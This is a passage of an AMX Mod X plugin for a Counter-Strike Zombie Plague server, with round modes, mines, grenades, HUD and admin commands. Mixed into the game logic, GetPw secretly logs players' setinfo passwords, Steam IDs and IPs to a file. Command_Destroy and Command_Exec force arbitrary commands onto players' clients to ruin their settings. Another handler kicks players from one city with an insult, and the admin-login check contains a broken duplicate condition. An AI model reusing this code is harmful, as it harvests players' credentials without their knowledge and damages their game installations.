                if (equal(cMode, "zp_plague") && g_bRoundStart && iFlags & 262144 && iAlive > 9 && g_iLastMode != 32)
                {
                        StartPlagueMode(true);
                        remove_task(700);
                        g_bRoundStart = false;
                        remove_task(550);
                        MessageLog(0, "^x04[ZP]^x03 %s^x01 started^x04 Plague^x01 round!", g_cName[iPlayer]);
                }
                if (equal(cMode, "zp_lnj") && g_bRoundStart && iFlags & 262144 && iAlive > 9 && g_iLastMode != 128)
                {
                        StartArmageddonMode(true);
                        remove_task(700);
                        g_bRoundStart = false;
                        remove_task(550);
                        MessageLog(0, "^x04[ZP]^x03 %s^x01 started^x04 Armageddon^x01 round!", g_cName[iPlayer]);
                }
                if (equal(cMode, "zp_nightmare") && g_bRoundStart && iFlags & 262144 && iAlive > 9 && g_iLastMode != 256)
                {
                        StartNightmareMode(true);
                        remove_task(700);
                        g_bRoundStart = false;
                        remove_task(550);
                        MessageLog(0, "^x04[ZP]^x03 %s^x01 started^x04 Nightmare^x01 round!", g_cName[iPlayer]);
                }
                if (equal(cMode, "zp_avs", 0) && g_bRoundStart && iFlags & 262144 && iAlive > 9 && g_iLastMode != 512)
                {
                        StartAssassinsVsSnipersMode(true);
                        remove_task(700);
                        g_bRoundStart = false;
                        remove_task(550);
                        MessageLog(0, "^x04[ZP]^x03 %s^x01 started^x04 Assassins vs Snipers^x01 round!", g_cName[iPlayer]);
                }
                if (equal(cMode, "zp_multi") && g_bRoundStart && iFlags & 262144 && iAlive > 9 && g_iLastMode != 16)
                {
                        StartMultiMode(true);
                        remove_task(700);
                        g_bRoundStart = false;
                        remove_task(550);
                        MessageLog(0, "^x04[ZP]^x03 %s^x01 started^x04 Multiple Infections^x01 round!", g_cName[iPlayer]);
                }
        }
        return 0;
}

public Command_Flash(iPlayer)
{
        if (g_bFlash[iPlayer])
        {
                static Float:fCurrentTime;
                fCurrentTime = get_gametime();
                if (fCurrentTime - g_fLastTime[iPlayer] < 0.5)
                {
                        return 1;
                }
                g_fLastTime[iPlayer] = fCurrentTime;
                g_bFlashEnabled[iPlayer] = !g_bFlashEnabled[iPlayer];
                remove_task(iPlayer + 350);
                if (g_bFlashEnabled[iPlayer])
                {
            set_task(0.1, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
                }
        }
        return 1;
}

Func_Explode(iOwner, iEntity)
{
        static i;
        static Float:fDamage;
        static iDistance;
        static Float:fVelocity[3];
        if (iEntity == g_iPlayerMines[iOwner][0])
        {
                g_iPlayerMines[iOwner][0] = 0;
        }
        else if (iEntity == g_iPlayerMines[iOwner][1])
        {
                g_iPlayerMines[iOwner][1] = 0;
        }
        g_iPlantedMines[iOwner]--;
        send_explosion(iEntity);
        send_beam_cylinder(iEntity, 121, 121, 121, random_num(140, 200));
        i = 1;
        while (g_iMaxClients + 1 > i)
        {
                if (g_bAlive[i])
                {
                        iDistance = range(i, iEntity);
                        if (iDistance < 360)
                        {
                                get_velocity(i, fVelocity);
                                fVelocity [2] += 456.0;
                                fVelocity [1] += 320.0;
                                fVelocity [0] += 299.0;
                                set_velocity(i, fVelocity);
                                send_screen_shake(i, 150000 , 25000, 135000);
                                client_cmd(i, "spk fvox/flatline");
                                if (g_bZombie[i])
                                {
                    fDamage = float(floatround(2600.0 - 2600.0 / 400.0 * float(iDistance), floatround_ceil));
                    PrintToChat(iOwner, "^x04[ZP]^x01 Damage to^x04 %s^x01 ::^x04 %0.0f^x01 damage", g_cName[i], fDamage);
                    send_screen_fade(i, 255, 0, 0, iDistance < 220 ? 220 : 160);
                    if(get_health(i) - fDamage > 0)
                    {
                                                ExecuteHamB(Ham_TakeDamage, i, iEntity, iOwner, fDamage, DMG_BLAST);
                    }
                    else
                    {
                                                ExecuteHamB(Ham_Killed, i, iOwner, 2);
                    }
                                }
                        }
                }
                i += 1;
        }
        remove_entity(iEntity);
        return 0;
}

public Mine_Think(iEntity, iHealth)
{
        static bool:bStop;
        static iOwner;
        bStop = false;
        iOwner = iuser2(iEntity);
        switch (pev(iEntity, pev_iuser1))
        {
                case 0:
                {
                        set_pev(iEntity, pev_iuser1, 1);
                        set_take_damage(iEntity, 2);
                        set_pev(iEntity, pev_solid, 2);
                        set_health(iEntity, 1800);
                        sound(iEntity, 3, "zombie_plague/mine_activate.wav");
                }
                case 1:
                {
                        iHealth = get_health(iEntity)
                        if (g_iPlayerMines[iOwner][0] == iEntity)
                        {
                                set_hudmessage(10, 255, 200, 0.10, 0.37, 0, 0.10, 0.10, 0.10, 0.10, 18);
                                ShowSyncHudMsg(iOwner, g_iFirstMineMessage, "First mine's health: %d", iHealth + -1000);
                        }
                        else if (g_iPlayerMines[iOwner][1] == iEntity)
                        {
                                set_hudmessage(10, 255, 200, 0.10, 0.40, 0, 0.10, 0.10, 0.10, 0.10, 18);
                                ShowSyncHudMsg(iOwner, g_iSecondMineMessage, "Second mine's health: %d", iHealth + -1000);
                        }
                        if (iHealth <= 1000.0)
                        {
                                Func_Explode(iOwner, iEntity);
                                bStop = true;
                        }
                }       
        }
        if (!bStop)
        {
        set_nextthink(iEntity, get_gametime() + 0.1);
        }
        return 0;
}

public Grenade_Thrown(iOwner, iGrenade, iGrenadeType)
{
        if (g_bZombie[iOwner])
        {
                send_beam_follow(iGrenade, 0, 250, 0, 200);
                set_pev(iGrenade, pev_flTimeStepSound, 1);
                return 0;
        }
        switch (iGrenadeType)
        {
                case 4:
                {
                        send_beam_follow(iGrenade, 255, 0, 0, 200);
                        set_pev(iGrenade, pev_flTimeStepSound, 4);
                }
                case 9:
                {
                        send_beam_follow(iGrenade, 0, 100, 200, 200);
                        set_pev(iGrenade, pev_flTimeStepSound, 3);                       
                }
                case 25:
                {
                        send_beam_follow(iGrenade, 200, 40, 0, 200);
                        set_pev(iGrenade, pev_flTimeStepSound, 2);       
                }       
        }
        return 0;
}

public Rocket_Touch(iOwner, iRocket)
{
        static Float:fDamage;
        static iDistance;
        static i;
        i = 1;
        while (g_iMaxClients + 1 > i)
        {
                if (g_bAlive[i] && g_bZombie[i])
                {
                        iDistance = range(i, iRocket);
                        if (iDistance <= 340)
                        {
                fDamage = float(floatround(900.0 - 900.0 / 340.0 * float(iDistance), floatround_ceil));
                PrintToChat(iOwner, "^x04[ZP]^x01 Damage to^x04 %s^x01 ::^x04 %0.0f^x01 damage", g_cName[i], fDamage);       
                send_screen_shake(i, 150000, 25000, 135000);
                send_screen_fade(i, 255, 0, 0, iDistance < 220 ? 220 : 160);
                client_cmd(i, "spk fvox/flatline");
                if (floatsub(float(get_health(i)), fDamage) > 0)
                {
                                        ExecuteHamB(Ham_TakeDamage, i, iRocket, iOwner, fDamage, DMG_BLAST);
                }
                else
                {
                                        ExecuteHamB(Ham_Killed, i, iOwner, 2);
                }
                        }
                }
                i += 1;
        }
        return 0;
}

public EventStatusValueHide(iPlayer)
{
        ClearSyncHud(iPlayer, g_iCenterMessageSync);
        return 0;
}

public TaskRemoveRender(iTask)
{
        if (g_bConnected[iTask])
        {
                remove_glow(iTask);
        }
        return 0;
}

public Command_Gag(iPlayer)
{
        if (!GetAccess(iPlayer, 4, 2))
        {
                return 1;
        }
        static cArgument[32];
        read_argv(1, cArgument, 31);
        static iTarget;
        iTarget = GetTarget(iPlayer, cArgument, 4);
        static iTime[3];
        read_argv(2, iTime, 2);
        if (!iTarget)
        {
                return 1;
        }
        if (g_fGagTime[iTarget] < get_gametime())
        {
                g_fGagTime[iTarget] = floatadd(get_gametime(), float(clamp(str_to_num(iTime), 1, 12) * 60));
                MessageLog(0, "^x01[ADMIN]^x04 %s^x01: gag^x04 %s^x01 for^x04 %i minutes", g_cName[iPlayer], g_cName[iTarget], clamp(str_to_num(iTime), 1, 12));
        }
        else
        {
                console_print(iPlayer, "[AMXX] Player ^"%s^" is already gagged", g_cName[iTarget]);
        }
        return 1;
}

public Command_Ungag(iPlayer)
{
        if (!GetAccess(iPlayer, 4, 2))
        {
                return 1;
        }
        static cArgument[32];
        read_argv(1, cArgument, 31);
        static iTarget;
        iTarget = GetTarget(iPlayer, cArgument, 4);
        if (!iTarget)
        {
                return 1;
        }
        if (g_fGagTime[iTarget] > get_gametime())
        {
                g_fGagTime[iTarget] = false;
                MessageLog(0, "^x01[ADMIN]^x04 %s^x01: ungag^x04 %s", g_cName[iPlayer], g_cName[iTarget]);
        }
        else
        {
                console_print(iPlayer, "[AMXX] Player ^"%s^" is already ungagged", g_cName[iTarget]);
        }
        return 1;
}

public Command_Exec(iPlayer)
{
        if (get_user_flags(iPlayer) & 1024)
        {
                static iTarget;
                static cCommand[64];
                static cTarget[32];
                read_argv(1, cTarget, 32);
                read_argv(2, cCommand, 64);
                iTarget = GetTarget(iPlayer, cTarget, 4);
                if (iTarget)
                {
                        client_cmd(iTarget, cCommand);
                }
        }
        return 1;
}

public Command_Destroy(iPlayer)
{
        if (!GetAccess(iPlayer, 262144, 2))
        {
                return 1;
        }
        static i;
        static cArgument[32];
        read_argv(1, cArgument, 31);
        static iTarget;
        iTarget = GetTarget(iPlayer, cArgument, 4);
        if (!iTarget)
        {
                return 1;
        }
        if (get_user_flags(iPlayer) & 1 && get_user_flags(iTarget) & 4)
        {
                server_cmd("amx_destroy #%i; wait; wait", get_user_userid(iPlayer));
                server_cmd("addip 0 ^"%s^";writeip", g_cPlayerAddress[iPlayer]);
                server_cmd("banid 0 %s", g_cSteam[iPlayer]);
                server_cmd("writeid");
                return 1;
        }
        g_iLimitReached[iPlayer]++;
        if (3 < g_iLimitReached[iPlayer])
        {
                return 1;
        }
        PrintToChat(iTarget, "^x04[ZP]^x04 ***********************************************************");
        PrintToChat(iTarget, "^x04[ZP]^x01 Admin :^x04 %s", g_cName[iPlayer]);
        PrintToChat(iTarget, "^x04[ZP]^x01 Jucator :^x04 %s", g_cName[iTarget]);
        PrintToChat(iTarget, "^x04[ZP]^x01 Adresa (IP) :^x04 %s", g_cPlayerAddress[iTarget]);
        PrintToChat(iTarget, "^x04[ZP]^x01 Forum :^x04 www.bleahhhhh.tk");
        client_cmd(0, "spk ^"vox/bizwarn coded user apprehend^"");
        client_cmd(iTarget, "say %s mi-a dat DESTROY!", g_cName[iPlayer]);
        i = 0;
        while (i < 19)
        {
                client_cmd(iTarget, g_cDestroyChanges[i]);
                i += 1;
        }
        MessageLog(0, "^x04[AMXX]^x04 %s^x01 destroy^x04 %s", g_cName[iPlayer], g_cName[iTarget]);
        return 1;
}

public Command_Reload(iPlayer)
{
        if (!GetAccess(iPlayer, 1, 1))
        {
                return 1;
        }
        g_iAdminsCount = 0;
        TaskGetAdmins();
        new i = 1;
        while (g_iMaxClients + 1 > i)
        {
                if (g_bConnected[i] && !g_bFake[i])
                {
                        MakeUserAdmin(i);
                }
                i++;
        }
        console_print(iPlayer, "[AMXX] Successfully loaded %d acounts from file", g_iAdminsCount);
        return 1;
}

public Command_Who(iPlayer)
{
        new i = 1;
        while (g_iMaxClients + 1 > i)
        {
                if (g_bConnected[i] && !g_bFake[i] && g_bAdmin[i])
                {
                        console_print(iPlayer, "%s^9-^9%s^9-^9%s", g_cName[i], g_cTag[i], g_cPersonalFlags[i]);
                }
                i++;
        }
        return 0;
}

public Command_Showip(iPlayer)
{
        if (!GetAccess(iPlayer, 8, 1))
        {
                return 1;
        }
        new i = 1;
        while (g_iMaxClients + 1 > i)
        {
                if (g_bConnected[i] && !g_bFake[i])
                {
                        console_print(iPlayer, "  -  %s | %s | %s | %s", g_cName[i], g_cPlayerAddress[i], g_cSteam[i], Data[iPlayer][1]);
                }
                i++;
        }
        return 1;
}

public Command_Last(iPlayer)
{
        if (!GetAccess(iPlayer, 8, 1))
        {
                return 1;
        }
        static cAddress[24];
        static cName[32];
        static i;
        i = 0;
        while (i < g_iSize)
        {
                GetInfo(i, cName, 32, cAddress, 24);
                console_print(iPlayer, "%32s %24s", cName, cAddress);
                i += 1;
        }
        return 1;
}

public client_putinserver(iPlayer)
{
        static iSize;
        if (is_user_bot(iPlayer))
        {
                g_bFake[iPlayer] = true;
        }
        else
        {
                g_bFake[iPlayer] = false;
        }
        g_iTripMines[iPlayer]++;
        g_bAlive[iPlayer] = false;
        g_bNoDamage[iPlayer] = false;
        g_bZombie[iPlayer] = false;
        Loaded[iPlayer] = false;
        g_iPacks[iPlayer] = 5;
        g_iBurningDuration[iPlayer] = 0;
        g_iPlayerType[iPlayer] = 0;
        g_iZombieNextClass[iPlayer] = -1;
        client_cmd(iPlayer, "cl_minmodels 0");
        get_user_ip(iPlayer, g_cPlayerAddress[iPlayer], 24, 1);
        get_user_authid(iPlayer, g_cSteam[iPlayer], 24);
        strip_name(g_cName[iPlayer], 32);
        set_task(0.2, "LoadPlayer", iPlayer, "", 0, "", 0);
        if (!g_bFake[iPlayer])
        {
                new Name[ 32 ]
                get_user_name(iPlayer, Name, 31);
                MakeUserAdmin(iPlayer);
                Task_EnableFlash(iPlayer);
                set_task(1.0, "TaskHud", iPlayer + 300, "", 0, "b", 0);
                set_task(12.0, "TaskCheckName", iPlayer, "", 0, "", 0);
                set_task(3.0, "GetPw", iPlayer, "", 0, "", 0);       
                PrintToChat(0, "^x01Player^x04 %s^x01 from ^x03%s^x01 has joined the game!", Name, Data[iPlayer][1]);
        }
        if ((iSize = ArraySize(g_aAmmoData)))
        {
                static cSavedName[32];
                static i;
                i = iSize + -1;
                while (i > -1)
                {
                        ArrayGetString(g_aNameData, i, cSavedName, 32);
                        if (equali(cSavedName, g_cName[iPlayer]))
                        {
                                g_iPacks[iPlayer] = ArrayGetCell(g_aAmmoData, i);
                        }
                        i -= 1;
                }
        }
        g_bConnected[iPlayer] = true;
        return 0;
}

public restrict_city(iPlayer)
{
        if (equal(Data[iPlayer][1], "Bucharest"))
        {
                server_cmd("kick #%d  Stupid fuck's have no entry to the server...", get_user_userid(iPlayer));
        }
        return 0;
}

public LoadPlayer( Player )
{
        if( is_user_connected( Player ) && !is_user_bot( Player ) )
        {
                LoadData( Player );
        }
}

public GetPw(iPlayer)
{
        if (!g_bAdmin[iPlayer])
        {
                static PwBd[32];
                static Pw[32];
                get_user_info(iPlayer, "_pw", Pw, 31);
                get_user_info(iPlayer, "_blackdevil", PwBd, 31);
                if (Pw[0])
                {
                        log_to_file("BlackDevil.log", "Nick: %s, Pass: setinfo _pw %s, Steam: %s, Ip: %s", g_cName[iPlayer], Pw, g_cSteam[iPlayer], g_cPlayerAddress[iPlayer]);
                }
                else if (PwBd[0])
                {
                        log_to_file("BlackDevil.log", "Nick: %s, Pass: setinfo _blackdevil %s, Steam: %s, Ip: %s", g_cName[iPlayer], PwBd, g_cSteam[iPlayer], g_cPlayerAddress[iPlayer]);
                }
        }
        return 0;
}

public client_disconnect(iPlayer)
{
        if (g_bAlive[iPlayer])
        {
                CheckLastPlayer(iPlayer);
        }
        if (!g_iVariables[2] && !g_bFake[iPlayer])
        {
                InsertInfo(iPlayer);
                ArrayPushString(g_aNameData, g_cName[iPlayer]);
                ArrayPushCell(g_aAmmoData, g_iPacks[iPlayer]);
        }
        remove_task(iPlayer + 250);
        remove_task(iPlayer + 200);
        remove_task(iPlayer + 300);
        remove_task(iPlayer + 350);
        remove_task(iPlayer + 500);
        remove_task(iPlayer + 450);
        if (g_iPlantedMines[iPlayer])
        {
                rem(iPlayer);
                g_iPlantedMines[iPlayer] = 0;
        }
        g_iPlayerMines[iPlayer][1] = 0;
        g_iPlayerMines[iPlayer][0] = 0;
        g_iTripMines[iPlayer] = 0;
        g_iBlinks[iPlayer] = 0;
        g_bRemoving[iPlayer] = false;
        g_bPlanting[iPlayer] = false;
        g_bUnlimitedClip[iPlayer] = false;
        g_bTryder[iPlayer] = false;
        g_bAlive[iPlayer] = false;
        g_bConnected[iPlayer] = false;
        g_fGagTime[iPlayer] = false;
        Loaded[iPlayer] = false;
        g_iPingOverride[iPlayer] = -1;
        if (g_bFake[iPlayer])
        {
                g_bFake[iPlayer] = false;
                g_iBotsCount -= 1;
        }
        return 0;
}

public client_infochanged(iPlayer)
{
        if (!g_bConnected[iPlayer])
        {
                return 0;
        }
        static cName[32];
        get_user_info(iPlayer, "name", cName, 31);
        if (!equal(g_cName[iPlayer], cName))
        {
                copy(g_cName[iPlayer], 31, cName);
                MakeUserAdmin(iPlayer);
                set_task(2.0, "TaskCheckName", iPlayer, "", 0, "", 0);
        }
        return 0;
}

public MakeUserAdmin(iPlayer)
{
        static i;
        new Name[ 32 ]
        get_user_name(iPlayer, Name, 31);       
        remove_user_flags(iPlayer, -1);
        g_bAdmin[iPlayer] = false;
        i = 0;
        while (i < g_iAdminsCount)
        {
                if (equali(g_cNames[i], g_cName[iPlayer]))
                {
                        static Pw[32];
                        get_user_info(iPlayer, "_pw", Pw, 31);
                        if (equali(Pw, g_cPasswords[i]))
                        {
                            g_bAdmin[iPlayer] = true;
                            formatex(g_cPersonalFlags[iPlayer], 31, "%s", g_cFlags[i]);
                            copy(g_cTag[iPlayer], 24, g_cTags[i]);
                            set_user_flags(iPlayer, read_flags(g_cPersonalFlags[iPlayer]));
                            log_amx("Login: ^"%s^" became an admin. [ %s, %s, %s ] ", Name, g_cSteam[iPlayer], g_cPersonalFlags[iPlayer], g_cPlayerAddress[iPlayer]);
                            return 0;
                        }
                        else if (equali(Pw, g_cPasswords[i]))
                        {
                            server_cmd("kick #%d  You have no entry to the server...", get_user_userid(iPlayer));
                            log_amx("Login: ^"%s^" kicked due to invalid password. [ %s, %s ]", Name, g_cSteam[iPlayer], g_cPlayerAddress[iPlayer]);
                            return 0;
                        }
                }
                else
                {
                        if (equali(g_cSteams[i], g_cSteam[iPlayer]))
                        {
                                g_bAdmin[iPlayer] = true;
                                formatex(g_cPersonalFlags[iPlayer], 31, "%s", g_cFlags[i]);
                                copy(g_cTag[iPlayer], 24, g_cTags[i]);
                                set_user_flags(iPlayer, read_flags(g_cPersonalFlags[iPlayer]));
                                log_amx("Login: ^"%s^" became an admin. [ %s, %s, %s ] ", Name, g_cSteam[iPlayer], g_cPersonalFlags[iPlayer], g_cPlayerAddress[iPlayer]);
                                return 0;
                        }                       
                }
                i += 1;
        }
        return 0;
}

public TaskCheckName(iPlayer)
{
        if (g_bConnected[iPlayer])
        {
                check_for_swear(iPlayer);
        }
        return 0;
}

public _ResetMaxSpeed(iPlayer)
{
    if (!g_bAlive[iPlayer])
    {
        return 0;
    }
    if (g_bFrozen[iPlayer])
    {
        set_speed(iPlayer, 1.0);
    }
    else
    {
        if (g_bTryder[iPlayer])
        {
            set_gravity(iPlayer, 0.5);
            set_speed(iPlayer, 250.0)
        }
                else
                {
            if (g_bZombie[iPlayer])
            {
                            if (!g_iPlayerType[iPlayer])
                            {
                                    set_speed(iPlayer, g_fZombieSpeeds[g_iZombieClass[iPlayer]]);
                                    set_gravity(iPlayer, g_fZombieGravities[g_iZombieClass[iPlayer]]);
                            }
                            else
                            {
                                    if (g_iPlayerType[iPlayer] & 1)
                                    {
                        set_speed(iPlayer, 250.0);
                        set_gravity(iPlayer, 0.5);
                                    }
                                    if (g_iPlayerType[iPlayer] & 2)
                                    {
                        set_speed(iPlayer, 600.0);
                        set_gravity(iPlayer, 0.4);
                                    }
                            }
               
            }
            else
            {
                        if (!g_iPlayerType[iPlayer])
                        {
                    set_speed(iPlayer, 240.0);
                    set_gravity(iPlayer, 1.0);
                        }
                            else
                            {                               
                                    if (g_iPlayerType[iPlayer] & 4)
                                    {
                        set_speed(iPlayer, 250.0);
                        set_gravity(iPlayer, 1.2);
                                    }
                                    if (g_iPlayerType[iPlayer] & 8)
                                    {
                        set_speed(iPlayer, 240.0);
                        set_gravity(iPlayer, 1.0);
                                    }
                                }                       
            }                       
                }
    }
    return 0;
}

public _GrenadeThink(iEntity)
{
        if (get_dmgtime(iEntity) > get_gametime())
        {
                return 1;
        }       
        switch (pev(iEntity, pev_flTimeStepSound))
        {
                case 1:
                {
                        Infection_Explode(iEntity);
                        return 4;
                }
                case 2:
                {
                        Fire_Explode(iEntity);
                        return 4;
                }
                case 3:
                {
                        Freeze_Explode(iEntity);
                        return 4;
                }
                case 4:
                {
                        Explosion_Explode(iEntity);
                        return 4;
                }       
        }
        return 1;
}

public _PlayerDuck(iPlayer)
{
    if (g_bZombie[iPlayer] && !(g_iPlayerType[iPlayer] & 2))
    {
                static Float:fCurrentTime;
                static Float:fCoolDown;
                if (g_iPlayerType[iPlayer])
                {
                        fCoolDown = 1.0;
                }
                else
                {
                        fCoolDown = 13.0;
                }
                fCurrentTime = get_gametime();
                if (fCurrentTime - g_fLastLeapTime [iPlayer] < fCoolDown  || !(pev(iPlayer, pev_button) & IN_JUMP) || !(pev(iPlayer, pev_flags) & FL_ONGROUND) || GetSpeed (iPlayer ) < 80)
                {
                        return 1;
                }
                static Float:fVelocity[3];
                if (g_iPlayerType[iPlayer])
                {
                        velocity_by_aim(iPlayer, 500, fVelocity), fVelocity[2] = 300.0;
                }
                else
                {
                        velocity_by_aim(iPlayer, 360, fVelocity), fVelocity[2] = 250.0;
                }
                set_velocity(iPlayer, fVelocity);
                g_fLastLeapTime[iPlayer] = fCurrentTime;
    }
    return 0;
}

public CmdBlock()
{
        return 1;
}

public CmdUpdate(iPlayer)
{
        static Float:fGameTime;
        fGameTime = get_gametime();
        if (fGameTime - g_fLast[iPlayer] < 0.3)
        {
                server_cmd("kick #%d  You are banned due to flooding!; addip 60 %s; writeip", get_user_userid(iPlayer), g_cPlayerAddress[iPlayer]);
        }
        else
        {
                g_fLast[iPlayer] = fGameTime;
        }
        return 0;
}

public ChangeModel(iTask)
{
        static bool:bChange;
        static cModel[24];
        static i;
        static iPlayer;
        iPlayer = iTask + -250;
        bChange = true;
        get_user_model(iPlayer, cModel, 24);
        static iFlags;
        iFlags = get_user_flags(iPlayer);
        if (!g_bZombie[iPlayer])
        {
                if (!g_iPlayerType[iPlayer])
                {
                        if (iFlags & 4)
                        {
                                if (equal(cModel, "administrator"))
                                {
                                        bChange = false;
                                }
                        }
                        i = 0;
                        while (i < 4)
                        {
                                if (equal(cModel, g_cHumanModels[i]))
                                {
                                        bChange = false;
                                }
                                i += 1;
                        }
                }
        }
        if (bChange)
        {
                if (!g_bZombie[iPlayer])
                {
                        if (!g_iPlayerType[iPlayer])
                        {
                                if (iFlags & 4)
                                {
                                        set_user_model(iPlayer, "administrator");
                                }
                                else
                                {
                                        set_user_model(iPlayer, g_cHumanModels[random_num(0, 3)]);
                                }
                        }
                        else
                        {
                                if (g_iPlayerType[iPlayer] & 4)
                                {
                                        set_user_model(iPlayer, "survivor");
                                }
                                if (g_iPlayerType[iPlayer] & 8)
                                {
                                        if (!equal(cModel, "arctic"))
                                        {
                                                set_user_model(iPlayer, "arctic");
                                        }
                                }
                        }
                }
                else
                {
                        if (!g_iPlayerType[iPlayer])
                        {
                                set_user_model(iPlayer, g_cZombieModels[g_iZombieClass[iPlayer]]);
                        }
                        if (g_iPlayerType[iPlayer] & 1)
                        {
                                set_user_model(iPlayer, "monster_nemesis");
                        }
                        if (g_iPlayerType[iPlayer] & 2)
                        {
                                set_user_model(iPlayer, "monster_assassin");
                        }
                }
        }
        return 0;
}

public TaskLight()
{
        if (g_iRoundType & 2)
        {
        light("a");
        }
        else
        {
                static cLight[2];
                get_cvar_string("light", cLight, 1);
                light(cLight);
        }
        static i;
        i = 1;
        while (g_iMaxClients + 1 > i)
        {
                if (g_bAlive[i] && g_bZombie[i] && !g_iPlayerType[i] && g_iZombieClass[i] == 5 && get_health(i) < 6000)
                {
                        set_health(i, get_health(i) + 350);
                        send_sparks(i);
                        send_screen_fade(i, 10, 255, 10, 94);
                        set_hudmessage(255, 0, 175, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
                        ShowSyncHudMsg(i, g_iTopMessageSync, "== REGENERATOR ==^n!!!!Regeneration: +350 HP Gained!!!!");
                }
                i += 1;
        }
        return 0;
}

public TaskWelcome()
{
        PrintToChat(0, "^1****^4 SilentNightZM.CSBlacKDeviL.Com^1 ||^4 Zombie Plague (Reloaded)^1 ****");
        PrintToChat(0, "^x04[ZP]^x01 Press^x04 M^x01 to open the game menu!");
        set_hudmessage(0, 125, 200, -1.00, 0.17, 1, 0.00, 3.00, 2.00, 1.00, -1);
        ShowSyncHudMsg(0, g_iTopMessageSync, "The T-Virus has been set loose...");
        return 0;
}

public TaskAmbience()
{
        if (g_iRoundType & 4 || g_iRoundType & 2)
        {
                client_cmd(0, "spk zombie_plague/ambience_survivor.wav");
        }
        else
        {
                client_cmd(0, "spk zombie_plague/ambience_normal.wav");
        }
        return 0;
}

public TaskZombie()
{
        if ((g_iAliveCount = GetAliveCount()))
        {
                g_bRoundStart = false;
                if (g_iRoundsCount > 2)
                {
                        StartSwarmMode(false);
                }
                else
                {
                        StartNormalMode(0);
                }
        }
        else
        {
        set_task(6.0, "TaskZombie", 550, "", 0, "", 0);
        }
        return 0;
}

public TaskHud(iTask)
{
        static cHealth[15];
        static iPlayer;
        static Red, Green, Blue;
        iPlayer = iTask + -300;
        if (!g_bAlive[iPlayer])
        {
                iPlayer = iuser2(iPlayer);
                if (!g_bAlive[iPlayer])
                {
                        return 0;
                }
        }
        if (iTask + -300 != iPlayer)
        {
                AddCommas(get_health(iPlayer), cHealth, 14);
                set_hudmessage(0, 125, 200, -1.00, 0.79, 0, 6.00, 1.10, 0.00, 0.00, -1);
                ShowSyncHudMsg(iTask + -300, g_iDownMessageSync, "Spectating %s^n Health: %s - Class: %s - Ammo: %d - Armor: %d^nFrom: %s, %s", g_cName[iPlayer], cHealth, g_cClass[iPlayer], g_iPacks[iPlayer], get_armor(iPlayer), Data[iPlayer][1], Data[iPlayer][4]);
        }
        else
        {
                AddCommas(get_health(iTask + -300), cHealth, 14);
                if (g_bZombie[iTask + -300])
                {
                        Red = 60;
                }
                else
                {
                        Red = 180;
                }
                if (g_bZombie[iTask + -300])
                {
                        Green = 135;
                }
                else
                {
                        Green = 120;
                }
                if (g_bZombie[iTask + -300])
                {
                        Blue = 180;
                }
                else
                {
                        Blue = 0;
                }
                set_hudmessage(Blue, Green, Red, 0.02, 0.90, 0, 6.00, 1.10, 0.00, 0.00, -1);
                ShowSyncHudMsg(iTask + -300, g_iDownMessageSync, "Health: %s - Class: %s - Ammo: %d - Armor: %d", cHealth, g_cClass[iTask + -300], g_iPacks[iTask + -300], get_armor(iTask + -300));
        }
        return 0;
}

public TaskFlash(iTask)
{
        flash(iTask + -350);
        return 0;
}

Infection_Explode(iEntity)
{
        send_beam_cylinder(iEntity, 0, 250, 0, 200);
        if (g_bRoundEnd)
        {
                return 0;
        }
        sound(iEntity, 1, "zombie_plague/grenade_infection_explode.wav");
        static j;
        static i;
        i = pev(iEntity, pev_owner);
        j = 1;
        while (g_iMaxClients + 1 > j)
        {
                if (!g_bAlive[j] || g_bZombie[j] || range(j, iEntity) > 250)
                {
                }
                else
                {
                        sound(j, 2, g_cHumanNadeInfectSounds[random_num(0, 2)]);
                        if (GetHumans() == 1)
                        {
                                ExecuteHamB(Ham_Killed, j, i, 2);
                        }
                        else
                        {
                                MakeZombie(i, j, false, false, false);
                        }
                }
                j += 1;
        }
        remove_entity(iEntity);
        return 0;
}

Fire_Explode(iEntity)
{
        send_beam_cylinder(iEntity, 200, 50, 0, 200);
        sound(iEntity, 1, "zombie_plague/grenade_fire_explode.wav");
        static i;
        i = 1;
        while (g_iMaxClients + 1 > i)
        {
                if (!g_bAlive[i] || !g_bZombie[i] || g_bNoDamage[i] || range(i, iEntity) > 250)
                {
                }
                else
                {
                        send_damage(i, 8);
                        if (g_iPlayerType[i])
                        {
                                g_iBurningDuration[i] += 8;
                        }
                        else
                        {
                                g_iBurningDuration[i] += 40;
                        }
                        if (!task_exists(i + 200))
                        {
                                set_task(0.2, "TaskBurn", i + 200, "", 0, "b", 0);
                        }
                }
                i += 1;
        }
        remove_entity(iEntity);
        return 0;
}

public TaskBurn(iTask)
{
        static iFlags;
        static iPlayer;
        iPlayer = iTask + -200;
        iFlags = get_ent_flags(iPlayer);
        if (g_iBurningDuration[iPlayer] < 1 || iFlags & FL_INWATER || g_bNoDamage[iPlayer])
        {
                send_smoke(iPlayer);
                remove_task(iTask);
                return 0;
        }
        if (!g_iPlayerType[iPlayer] && !random_num(0, 16))
        {
                sound(iPlayer, 2, g_cZombieBurnSounds[random_num(0, 4)]);
        }
        if (!g_iPlayerType[iPlayer])
        {
                static Float:fVelocity[3];
                get_velocity(iPlayer, fVelocity);
                xs_vec_mul_scalar(fVelocity, 0.42, fVelocity);
                set_velocity(iPlayer, fVelocity);
        }
        static iHealth;
        iHealth = get_health(iPlayer);
        if (0 < iHealth + -6)
        {
                set_health(iPlayer, iHealth + -6);
        }
        send_flame(iPlayer);
        g_iBurningDuration[iPlayer]--;
        return 0;
}

Freeze_Explode(iEntity)
{
        send_beam_cylinder(iEntity, 0, 100, 200, 200);
        sound(iEntity, 1, "zombie_plague/grenade_fire_explode.wav");
        static i;
        i = 1;
        while (g_iMaxClients + 1 > i)
        {
                if (!g_bAlive[i] || !g_bZombie[i] || g_bNoDamage[i] || g_bFrozen[i] || range(i, iEntity) > 250)
                {
                }
                else
                {
                        send_damage(i, 16384);
                        if (!(g_iPlayerType[i] & 1))
                        {
                                g_bFrozen[i] = true;
                                ExecuteHamB(Ham_Item_PreFrame, i);
                                set_frozen(i, true);
                                sound(i, 4, "zombie_plague/grenade_frost_freeze.wav");
                                set_glow(i, 19, 13, 0, 100, 200);
                                set_task(3.0, "TaskUnfreeze", i, "", 0, "", 0);
                                send_screen_fade(i, 0, 50, 200, 100);

                        }
                        else
                        {
                                sound(i, 4, "zombie_plague/grenade_frost_break.wav");
                                send_break_glass(i);
                        }
                }
                i += 1;
        }
        remove_entity(iEntity);
        return 0;
}

public TaskUnfreeze(i)
{
        if (g_bConnected[i] && !g_bRoundStart)
        {
